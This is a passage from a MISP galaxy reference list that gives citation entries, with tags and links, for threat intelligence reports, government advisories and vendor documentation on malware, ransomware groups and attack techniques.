Kelly Sheridan. (2021, August 5). Incident Responders Explore Microsoft 365 Attacks in the Wild. Retrieved March 17, 2023.

The tag is: *misp-galaxy:references="Dark Reading Microsoft 365 Attacks 2021"*

Table 21223. Table References

Links
https://www.darkreading.com/threat-intelligence/incident-responders-explore-microsoft-365-attacks-in-the-wild/d/d-id/1341591

Cisco Talos Q2 Trends July 26 2023

Nicole Hoffman. (2023, July 26). Incident Response trends Q2 2023: Data theft extortion rises, while healthcare is still most-targeted vertical. Retrieved August 4, 2023.

The tag is: *misp-galaxy:references="Cisco Talos Q2 Trends July 26 2023"*

Table 21224. Table References

Links
https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/

SentinelOne September 21 2023

SentinelOne. (2023, September 21). Inc. Ransom. Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="SentinelOne September 21 2023"*

Table 21225. Table References

Links
https://www.sentinelone.com/anthology/inc-ransom/

Bleeping Computer INC Ransomware March 2024

Toulas, B. (2024, March 27). INC Ransom threatens to leak 3TB of NHS Scotland stolen data. Retrieved June 5, 2024.

The tag is: *misp-galaxy:references="Bleeping Computer INC Ransomware March 2024"*

Table 21226. Table References

Links
https://www.bleepingcomputer.com/news/security/inc-ransom-threatens-to-leak-3tb-of-nhs-scotland-stolen-data/

U.S. CISA Increased Truebot Activity July 6 2023

Cybersecurity and Infrastructure Security Agency. (2023, July 6). Increased Truebot Activity Infects U.S. and Canada Based Networks. Retrieved July 6, 2023.

The tag is: *misp-galaxy:references="U.S. CISA Increased Truebot Activity July 6 2023"*

Table 21227. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-187a

Increasing Linux kernel integrity

Boelen, M. (2015, October 7). Increase kernel integrity with disabled Linux kernel modules loading. Retrieved June 4, 2020.

The tag is: *misp-galaxy:references="Increasing Linux kernel integrity"*

Table 21228. Table References

Links
https://linux-audit.com/increase-kernel-integrity-with-disabled-linux-kernel-modules-loading/

TechNet Scheduling Priority

Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.

The tag is: *misp-galaxy:references="TechNet Scheduling Priority"*

Table 21229. Table References

Links
https://technet.microsoft.com/library/dn221960.aspx

Revil Independence Day

Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.

The tag is: *misp-galaxy:references="Revil Independence Day"*

Table 21230. Table References

Links
https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/

Fortinet Agent Tesla June 2017

Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.

The tag is: *misp-galaxy:references="Fortinet Agent Tesla June 2017"*

Table 21231. Table References

Links
https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html

NCC Group Team9 June 2020

Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.

The tag is: *misp-galaxy:references="NCC Group Team9 June 2020"*

Table 21232. Table References

Links
https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/

Trend Micro APT Attack Tools

Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.

The tag is: *misp-galaxy:references="Trend Micro APT Attack Tools"*

Table 21233. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/

Symantec Suckfly May 2016

DiMaggio, J. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.

The tag is: *misp-galaxy:references="Symantec Suckfly May 2016"*

Table 21234. Table References

Links
http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks

Joint CSA AvosLocker Mar 2022

FBI, FinCEN, Treasury. (2022, March 17). Indicators of Compromise Associated with AvosLocker Ransomware. Retrieved January 11, 2023.

The tag is: *misp-galaxy:references="Joint CSA AvosLocker Mar 2022"*

Table 21235. Table References

Links
https://www.ic3.gov/Media/News/2022/220318.pdf

FBI BlackByte 2022

US Federal Bureau of Investigation & US Secret Service. (2022, February 11). Indicators of Compromise Associated with BlackByte Ransomware. Retrieved December 16, 2024.

The tag is: *misp-galaxy:references="FBI BlackByte 2022"*

Table 21236. Table References

Links
https://www.ic3.gov/CSA/2022/220211.pdf

FBI Flash Diavol January 2022

FBI. (2022, January 19). Indicators of Compromise Associated with Diavol. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FBI Flash Diavol January 2022"*

Table 21237. Table References

Links
https://www.ic3.gov/CSA/2022/220120.pdf

FBI Lockbit 2.0 FEB 2022

FBI. (2022, February 4). Indicators of Compromise Associated with LockBit 2.0 Ransomware. Retrieved January 24, 2025.

The tag is: *misp-galaxy:references="FBI Lockbit 2.0 FEB 2022"*

Table 21238. Table References

Links
https://www.ic3.gov/CSA/2022/220204.pdf

FBI Ragnar Locker 2020

FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="FBI Ragnar Locker 2020"*

Table 21239. Table References

Links
https://s3.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf

FBI FLASH APT39 September 2020

FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved

December 10, 2020.

The tag is: *misp-galaxy:references="FBI FLASH APT39 September 2020"*

Table 21240. Table References

Links
https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf

US District Court Indictment GRU Oct 2018

Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.

The tag is: *misp-galaxy:references="US District Court Indictment GRU Oct 2018"*

Table 21241. Table References

Links
https://www.justice.gov/opa/page/file/1098481/download

Checkpoint IndigoZebra July 2021

CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.

The tag is: *misp-galaxy:references="Checkpoint IndigoZebra July 2021"*

Table 21242. Table References

Links
https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/

HackerNews IndigoZebra July 2021

Lakshmanan, R.. (2021, July 1). IndigoZebra APT Hacking Campaign Targets the Afghan Government. Retrieved September 24, 2021.

The tag is: *misp-galaxy:references="HackerNews IndigoZebra July 2021"*

Table 21243. Table References

Links
https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html

3 - appv

Raj Chandel. (2022, March 17). Indirect Command Execution: Defense Evasion (T1202). Retrieved February 6, 2024.

The tag is: *misp-galaxy:references="3 - appv"*

Table 21244. Table References

Links
https://www.hackingarticles.in/indirect-command-execution-defense-evasion-t1202/

Check Point Meteor Aug 2021

Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022.

The tag is: *misp-galaxy:references="Check Point Meteor Aug 2021"*

Table 21245. Table References

Links
https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/

Crowdstrike EvilCorp March 2021

Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021.

The tag is: *misp-galaxy:references="Crowdstrike EvilCorp March 2021"*

Table 21246. Table References

Links
https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/

Industroyer2 ESET April 2022

ESET. (2022, April 12). Industroyer2: Industroyer reloaded. Retrieved March 30, 2023.

The tag is: *misp-galaxy:references="Industroyer2 ESET April 2022"*

Table 21247. Table References

Links
https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/

Industroyer2 Blackhat ESET

Anton Cherepanov, Robert Lipovsky. (2022, August). Industroyer2: Sandworm's Cyberwarfare Targets Ukraine's Power Grid. Retrieved April 6, 2023.

The tag is: *misp-galaxy:references="Industroyer2 Blackhat ESET"*

Table 21248. Table References

Links
https://www.youtube.com/watch?v=xC9iM5wVedQ

Industroyer2 Mandiant April 2022

Daniel Kapellmann Zafra, Raymond Leong, Chris Sistrunk, Ken Proska, Corey Hildebrandt, Keith Lunden, Nathan Brubaker. (2022, April 25). INDUSTROYER.V2: Old Malware Learns New Tricks. Retrieved March 30, 2023.

The tag is: *misp-galaxy:references="Industroyer2 Mandiant April 2022"*

Table 21249. Table References

Links
https://www.mandiant.com/resources/blog/industroyer-v2-old-malware-new-tricks

Sixdub PowerPick Jan 2016

Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer's Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.

The tag is: *misp-galaxy:references="Sixdub PowerPick Jan 2016"*

Table 21250. Table References

Links
https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367

Infdefaultinstall.exe - LOLBAS Project

LOLBAS. (2018, May 25). Infdefaultinstall.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Infdefaultinstall.exe - LOLBAS Project"*

Table 21251. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Infdefaultinstall/

Trend Micro Exposed Docker APIs

Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.

The tag is: *misp-galaxy:references="Trend Micro Exposed Docker APIs"*

Table 21252. Table References

Links
https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html

SentinelOne MacMa Nov 2021

Stokes, P. (2021, November 15). Infect If Needed | A Deeper Dive Into Targeted Backdoor macOS.Macma. Retrieved June 30, 2022.

The tag is: *misp-galaxy:references="SentinelOne MacMa Nov 2021"*

Table 21253. Table References

Links
https://www.sentinelone.com/labs/infect-if-needed-a-deeper-dive-into-targeted-backdoor-macos-macma/

SentinelOne Macma 2021

Phil Stokes. (2021, November 15). Infect If Needed | A Deeper Dive Into Targeted Backdoor macOS.Macma. Retrieved July 26, 2024.

The tag is: *misp-galaxy:references="SentinelOne Macma 2021"*

Table 21254. Table References

Links
https://www.sentinelone.com/labs/infect-if-needed-a-deeper-dive-into-targeted-backdoor-macos-macma/

MITRE VMware Abuse 2024

Lex Crumpton. (2024, May 22). Infiltrating Defenses: Abusing VMware in MITRE's Cyber Intrusion. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="MITRE VMware Abuse 2024"*

Table 21255. Table References

Links

https://medium.com/mitre-engenuity/infiltrating-defenses-abusing-vmware-in-mitres-cyber-intrusion-4ea647b83f5b

OpenAI CTI Update October 2024

OpenAI. (2024, October 1). Influence and cyber operations: an update. Retrieved January 31, 2025.

The tag is: *misp-galaxy:references="OpenAI CTI Update October 2024"*

Table 21256. Table References

Links
https://cdn.openai.com/threat-intelligence-reports/influence-and-cyber-operations-an-update_October-2024.pdf

SANS Information Security Reading Room Securing SNMP Securing SNMP

Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="SANS Information Security Reading Room Securing SNMP Securing SNMP"*

Table 21257. Table References

Links
https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051

InfoSec Handlers Diary Blog - SANS Internet Storm Center

SANS Internet Storm Center. (n.d.). InfoSec Handlers Diary Blog - SANS Internet Storm Center. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="InfoSec Handlers Diary Blog - SANS Internet Storm Center"*

Table 21258. Table References

Links
https://isc.sans.edu/diary/rss/29626

Symantec Catchamas April 2018

Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Symantec Catchamas April 2018"*

Table 21259. Table References

Links
https://web.archive.org/web/20190508165711/https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99

TrendMicro Ursnif File Dec 2014

Caragay, R. (2014, December 11). Info-Stealing File Infector Hits US, UK. Retrieved June 5, 2019.

The tag is: *misp-galaxy:references="TrendMicro Ursnif File Dec 2014"*

Table 21260. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/info-stealing-file-infector-hits-us-uk/

ThreatConnect Infrastructure Dec 2020

ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.

The tag is: *misp-galaxy:references="ThreatConnect Infrastructure Dec 2020"*

Table 21261. Table References

Links
https://threatconnect.com/blog/infrastructure-research-hunting/

Google TAG Ukraine IABs September 7 2022

Pierre-Marc Bureau. (2022, September 7). Initial access broker repurposing techniques in targeted attacks against Ukraine. Retrieved February 14, 2025.

The tag is: *misp-galaxy:references="Google TAG Ukraine IABs September 7 2022"*

Table 21262. Table References

Links
https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/

Mandiant Access Exploits March 21 2024

Michael Raggi, Adam Aprahamian, Dan Kelly, Mathew Potaczek, Marcin Siedlarz, Austin Larsen.

(2024, March 21). Initial Access Brokers Exploit F5 BIG-IP and ScreenConnect. Retrieved February 14, 2025.

The tag is: *misp-galaxy:references="Mandiant Access Exploits March 21 2024"*

Table 21263. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/initial-access-brokers-exploit-f5-screenconnect

elastic.co 6 21 2023

Colson Wilhoit. (2023, June 21). Initial research exposing JOKERSPY â€" Elastic Security Labs. Retrieved April 19, 2024.

The tag is: *misp-galaxy:references="elastic.co 6 21 2023"*

Table 21264. Table References

Links
https://www.elastic.co/security-labs/inital-research-of-jokerspy

Init Man Page

Kerrisk, M. (2021, March 22). INIT_MODULE(2). Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Init Man Page"*

Table 21265. Table References

Links
https://man7.org/linux/man-pages/man2/init_module.2.html

Proofpoint RTF Injection

Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption Beyond APT Actors . Retrieved December 9, 2021.

The tag is: *misp-galaxy:references="Proofpoint RTF Injection"*

Table 21266. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread

HighTech Bridge Inline Hooking Sept 2011

Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.

The tag is: *misp-galaxy:references="HighTech Bridge Inline Hooking Sept 2011"*

Table 21267. Table References

Links
https://www.exploit-db.com/docs/17802.pdf

Stuart ELF Memory

Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021.

The tag is: *misp-galaxy:references="Stuart ELF Memory"*

Table 21268. Table References

Links
https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html

ASERT InnaputRAT April 2018

ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.

The tag is: *misp-galaxy:references="ASERT InnaputRAT April 2018"*

Table 21269. Table References

Links
https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/

EclecticIQ August 16 2024

EclecticIQ. (2024, August 16). Inside Intelligence Center LUNAR SPIDER Enabling Ransomware Attacks on Financial Sector with Brute Ratel C4 and Latrodectus. Retrieved March 22, 2025.

The tag is: *misp-galaxy:references="EclecticIQ August 16 2024"*

Table 21270. Table References

Links
https://blog.eclecticiq.com/inside-intelligence-center-lunar-spider-enabling-ransomware-attacks-on-financial-sector-with-brute-ratel-c4-and-latrodectus

Microsoft Holmium June 2020

Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020.

The tag is: *misp-galaxy:references="Microsoft Holmium June 2020"*

Table 21271. Table References

Links
https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/

Metabase Q Mispadu Trojan 2023

Garcia, F., Regalado, D. (2023, March 7). Inside Mispadu massive infection campaign in LATAM. Retrieved March 15, 2024.

The tag is: *misp-galaxy:references="Metabase Q Mispadu Trojan 2023"*

Table 21272. Table References

Links
https://www.metabaseq.com/mispadu-banking-trojan/

huntress.com June 18 2025

Alden Schmidt. (2025, June 18). Inside the BlueNoroff Web3 macOS Intrusion Analysis . Retrieved June 20, 2025.

The tag is: *misp-galaxy:references="huntress.com June 18 2025"*

Table 21273. Table References

Links
https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis

Group-IB DragonForce September 25 2024

Nikolay Kichatov, Sharmine Low, Alexey Kashtanov. (2024, September 25). Inside the Dragon: DragonForce Ransomware Group. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="Group-IB DragonForce September 25 2024"*

Table 21274. Table References

Links
https://www.group-ib.com/blog/dragonforce-ransomware/

RiskIQ British Airways September 2018

Klijnsma, Y. (2018, September 11). Inside the Magecart Breach of British Airways: How 22 Lines of Code Claimed 380,000 Victims. Retrieved September 9, 2020.

The tag is: *misp-galaxy:references="RiskIQ British Airways September 2018"*

Table 21275. Table References

Links
https://web.archive.org/web/20181231220607/https://riskiq.com/blog/labs/magecart-british-airways-breach/

Recorded Future PurpleBravo February 13 2025

Insikt Group. (2025, February 13). Inside the Scam: North Korea's IT Worker Threat. Retrieved May 30, 2025.

The tag is: *misp-galaxy:references="Recorded Future PurpleBravo February 13 2025"*

Table 21276. Table References

Links
https://go.recordedfuture.com/hubfs/reports/cta-nk-2025-0213.pdf

Arbor AnnualDoSreport Jan 2018

Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.

The tag is: *misp-galaxy:references="Arbor AnnualDoSreport Jan 2018"*

Table 21277. Table References

Links
https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf

FireEye APT33 Sept 2017

O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.

The tag is: *misp-galaxy:references="FireEye APT33 Sept 2017"*

Table 21278. Table References

Links

https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

Microsoft Installation Procedures

Microsoft. (2021, January 7). Installation Procedure Tables Group. Retrieved December 27, 2023.

The tag is: *misp-galaxy:references="Microsoft Installation Procedures"*

Table 21279. Table References

Links
https://learn.microsoft.com/windows/win32/msi/installation-procedure-tables-group

Installer Package Scripting Rich Trouton

Rich Trouton. (2019, August 9). Installer Package Scripting: Making your deployments easier, one ! at a time. Retrieved September 27, 2022.

The tag is: *misp-galaxy:references="Installer Package Scripting Rich Trouton"*

Table 21280. Table References

Links
https://cpb-us-e1.wpmucdn.com/sites.psu.edu/dist/4/24696/files/2019/07/psumac2019-345-Installer-Package-Scripting-Making-your-deployments-easier-one-at-a-time.pdf

Microsoft Install Password Filter n.d

Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="Microsoft Install Password Filter n.d"*

Table 21281. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx

Microsoft Unsigned Driver Apr 2017

Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021.

The tag is: *misp-galaxy:references="Microsoft Unsigned Driver Apr 2017"*

Table 21282. Table References

Links

https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test

LOLBAS Installutil

LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.

The tag is: *misp-galaxy:references="LOLBAS Installutil"*

Table 21283. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Installutil/

MSDN InstallUtil

Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.

The tag is: *misp-galaxy:references="MSDN InstallUtil"*

Table 21284. Table References

Links
https://msdn.microsoft.com/en-us/library/50614e95.aspx

AWS Instance Identity Documents

Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021.

The tag is: *misp-galaxy:references="AWS Instance Identity Documents"*

Table 21285. Table References

Links
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html

AWS Instance Metadata API

AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.

The tag is: *misp-galaxy:references="AWS Instance Metadata API"*

Table 21286. Table References

Links
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html

RedLock Instance Metadata API 2018

Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.

The tag is: *misp-galaxy:references="RedLock Instance Metadata API 2018"*

Table 21287. Table References

Links
https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse

Nick Tyrer GitHub

Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.

The tag is: *misp-galaxy:references="Nick Tyrer GitHub"*

Table 21288. Table References

Links
https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5

Intel Hardware-based Security Technologies

Intel. (2013). Intel Hardware-based Security Technologies for Intelligent Retail Devices. Retrieved May 19, 2020.

The tag is: *misp-galaxy:references="Intel Hardware-based Security Technologies"*

Table 21289. Table References

Links
https://www.intel.com/content/dam/www/public/us/en/documents/white-papers/security-technologies-4th-gen-core-retail-paper.pdf

Red Canary Intelligence Insights July 20 2023

The Red Canary Team. (2023, July 20). Intelligence Insights: July 2023. Retrieved July 28, 2023.

The tag is: *misp-galaxy:references="Red Canary Intelligence Insights July 20 2023"*

Table 21290. Table References

Links
https://redcanary.com/blog/intelligence-insights-july-2023/

RedCanary June Insights 2024

The Red Canary Team. (2024, June 20). Intelligence Insights: June 2024. Retrieved March 14, 2025.

The tag is: *misp-galaxy:references="RedCanary June Insights 2024"*

Table 21291. Table References

Links
https://redcanary.com/blog/threat-intelligence/intelligence-insights-june-2024/

checkpoint_interactive_map_apt-c-23

Kayal, A. (2018, August 26). Interactive Mapping of APT-C-23. Retrieved March 4, 2024.

The tag is: *misp-galaxy:references="checkpoint_interactive_map_apt-c-23"*

Table 21292. Table References

Links
https://web.archive.org/web/20230604112435/https://research.checkpoint.com/2018/interactive-mapping-of-apt-c-23/

Microsoft ISAPI Extension All Incoming 2017

Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests. Retrieved June 3, 2021.

The tag is: *misp-galaxy:references="Microsoft ISAPI Extension All Incoming 2017"*

Table 21293. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)

Clymb3r Function Hook Passwords Sept 2013

Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="Clymb3r Function Hook Passwords Sept 2013"*

Table 21294. Table References

Links
https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/

Microsoft ICMP

Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.

The tag is: *misp-galaxy:references="Microsoft ICMP"*

Table 21295. Table References

Links
http://support.microsoft.com/KB/170292

Linux IPC

N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved March 11, 2022.

The tag is: *misp-galaxy:references="Linux IPC"*

Table 21296. Table References

Links
<a href="https://www.geeksforgeeks.org/inter-process-communication-ipc/<mark>:_{:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them.">https://www.geeksforgeeks.org/inter-process-communication-ipc/</mark>:}:text=Inter%2Dprocess%20communication%20(IPC)

HackerNews - 3 SaaS App Cyber Attacks - April 2022

Hananel Livneh. (2022, April 7). Into the Breach: Breaking Down 3 SaaS App Cyber Attacks in 2022. Retrieved May 31, 2022.

The tag is: *misp-galaxy:references="HackerNews - 3 SaaS App Cyber Attacks - April 2022"*

Table 21297. Table References

Links
https://thehackernews.com/2022/04/into-breach-breaking-down-3-saas-app.html

RedCanary Mockingbird May 2020

Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.

The tag is: *misp-galaxy:references="RedCanary Mockingbird May 2020"*

Table 21298. Table References

Links
https://redcanary.com/blog/blue-mockingbird-cryptominer/

Fidelis Hi-Zor

Fidelis Threat Research Team. (2016, January 27). Introducing Hi-Zor RAT. Retrieved March 24, 2016.

The tag is: *misp-galaxy:references="Fidelis Hi-Zor"*

Table 21299. Table References

Links
https://www.fidelissecurity.com/threatgeek/archive/introducing-hi-zor-rat/

Medium December 18 2017

Russel Van Tuyl. (2017, December 18). Introducing Merlin — A cross-platform post-exploitation HTTP2 Command & Control Tool. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Medium December 18 2017"*

Table 21300. Table References

Links
https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a

Roadtools

Dirk-jan Mollema. (2020, April 16). Introducing ROADtools - The Azure AD exploration framework. Retrieved January 31, 2022.

The tag is: *misp-galaxy:references="Roadtools"*

Table 21301. Table References

Links
https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/

Talos ROKRAT

Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.

The tag is: *misp-galaxy:references="Talos ROKRAT"*

Table 21302. Table References

Links
https://blog.talosintelligence.com/2017/04/introducing-rokrat.html

Microsoft Open XML July 2017

Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.

The tag is: *misp-galaxy:references="Microsoft Open XML July 2017"*

Table 21303. Table References

Links
https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)

Securelist WhiteBear Aug 2017

Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.

The tag is: *misp-galaxy:references="Securelist WhiteBear Aug 2017"*

Table 21304. Table References

Links
https://securelist.com/introducing-whitebear/81638/

MalwareBytes ADS July 2015

Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.

The tag is: *misp-galaxy:references="MalwareBytes ADS July 2015"*

Table 21305. Table References

Links
https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/

Apple AppleScript

Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020.

The tag is: *misp-galaxy:references="Apple AppleScript"*

Table 21306. Table References

Links
https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html

Microsoft Outlook Files

Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020.

The tag is: *misp-galaxy:references="Microsoft Outlook Files"*

Table 21307. Table References

Links
https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790

Microsoft Intro Print Processors

Microsoft. (2023, June 26). Introduction to print processors. Retrieved September 27, 2023.

The tag is: *misp-galaxy:references="Microsoft Intro Print Processors"*

Table 21308. Table References

Links
https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors

Microsoft Services

Microsoft. (2017, March 30). Introduction to Windows Service Applications. Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Microsoft Services"*

Table 21309. Table References

Links
https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications

Red Canary NETWIRE January 2020

Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021.

The tag is: *misp-galaxy:references="Red Canary NETWIRE January 2020"*

Table 21310. Table References

Links
https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/

Discord Intro to Webhooks

1. (n.d.). Intro to Webhooks. Retrieved July 20, 2023.

The tag is: *misp-galaxy:references="Discord Intro to Webhooks"*

Table 21311. Table References

Links
https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks

unit 42

Tom Fakterman, Chen Erlich, & Assaf Dahan. (2024, February 22). Intruders in the Library: Exploring DLL Hijacking. Retrieved January 30, 2025.

The tag is: *misp-galaxy:references="unit 42"*

Table 21312. Table References

Links
https://unit42.paloaltonetworks.com/dll-hijacking-techniques/

GitHub Inveigh

Robertson, K. (2015, April 2). Inveigh: Windows PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool. Retrieved March 11, 2019.

The tag is: *misp-galaxy:references="GitHub Inveigh"*

Table 21313. Table References

Links
https://github.com/Kevin-Robertson/Inveigh

Google Cloud October 24 2024

Mandiant. (2024, October 24). Investigating FortiManager Zero-Day Exploitation (CVE-2024-47575) . Retrieved October 25, 2024.

The tag is: *misp-galaxy:references="Google Cloud October 24 2024"*

Table 21314. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/fortimanager-zero-day-exploitation-cve-2024-47575

Summit Route Malicious AMIs

Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021.

The tag is: *misp-galaxy:references="Summit Route Malicious AMIs"*

Table 21315. Table References

Links
https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/

Huntress INC Ransom Group August 2023

Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.

The tag is: *misp-galaxy:references="Huntress INC Ransom Group August 2023"*

Table 21316. Table References

Links
https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity

Huntress INC Ransomware August 11 2023

Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved October 4, 2024.

